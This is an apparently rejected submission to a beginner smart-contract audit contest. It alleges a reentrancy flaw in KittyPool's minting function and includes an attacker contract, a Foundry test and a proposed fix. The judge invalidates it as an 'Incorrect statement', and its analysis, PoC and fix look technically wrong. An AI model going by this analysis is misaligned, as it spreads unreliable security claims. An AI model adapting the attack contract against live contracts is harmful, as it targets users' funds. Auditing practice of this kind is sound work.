First Flight #21: KittyFi

First Flight #21
Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Invalid

Reentrancy Attack on meowintKittyCoin Function in KittyPool Smart Contract

Summary

The meowintKittyCoin function allows users to mint KittyCoin tokens based on their deposited collateral. The function updates the internal state by increasing the user's minted token count and then calls the external mint function of the KittyCoin contract. However, it fails to properly follow the Checks-Effects-Interactions pattern, making it susceptible to a reentrancy attack.

Vulnerability Details

function meowintKittyCoin(uint256 _ameownt) external {
kittyCoinMeownted[msg.sender] += _ameownt;
i_kittyCoin.mint(msg.sender, _ameownt); // Vulnerable to reentrancy attack
require(_hasEnoughMeowllateral(msg.sender), KittyPool__NotEnoughMeowllateralPurrrr());
}

Impact

A malicious contract could mint more tokens than the intended amount by exploiting the reentrancy issue.

Proof-of-Concept (PoC) Attack

A malicious contract was created to exploit this vulnerability. The PoC demonstrates that an attacker can call the meowintKittyCoin function, and during the execution, re-enter the same function via a fallback function, effectively doubling the minted tokens before the external call completes.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import { KittyPool } from "src/KittyPool.sol";
import { KittyCoin } from "src/KittyCoin.sol";
contract MaliciousContract {
KittyPool public kittyPool;
KittyCoin public kittyCoin;
bool private attackTriggered;
uint256 public amountToMint;
constructor(address _kittyPoolAddress) {
kittyPool = KittyPool(_kittyPoolAddress);
kittyCoin = KittyCoin(kittyPool.getKittyCoin());
}
function attack(uint256 _amount) external {
amountToMint = _amount;
kittyPool.meowintKittyCoin(amountToMint);
}
fallback() external payable {
if (!attackTriggered) {
attackTriggered = true;
kittyPool.meowintKittyCoin(amountToMint);
}
}
}

Test Case Demonstration

function test_ReentrancyAttack() public {
uint256 toDeposit = 5 ether;
uint256 initialAmountToMint = 20e18;
vm.startPrank(user);
IERC20(weth).approve(address(wethVault), toDeposit);
kittyPool.depawsitMeowllateral(weth, toDeposit);
vm.stopPrank();
MaliciousContract malicious = new MaliciousContract(address(kittyPool));
vm.startPrank(user);
kittyCoin.approve(address(malicious), initialAmountToMint);
malicious.attack(initialAmountToMint);
vm.stopPrank();
uint256 finalAmountMinted = kittyPool.getKittyCoinMeownted(address(malicious));
console.log("Final amount minted by the malicious contract:", finalAmountMinted);
assert(finalAmountMinted > initialAmountToMint);
}

Tools Used

Manual review and foundry

Recommendations

Checks-Effects-Interactions pattern. Specifically:

  1. Update State Before External Calls: Ensure that all internal state changes (such as updating the user's minted token count) are done before making external calls.

function meowintKittyCoin(uint256 _ameownt) external nonReentrant {
kittyCoinMeownted[msg.sender] += _ameownt;
require(_hasEnoughMeowllateral(msg.sender), KittyPool__NotEnoughMeowllateralPurrrr());
i_kittyCoin.mint(msg.sender, _ameownt);
}
Updates

Lead Judging Commences

shikhar229169 Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.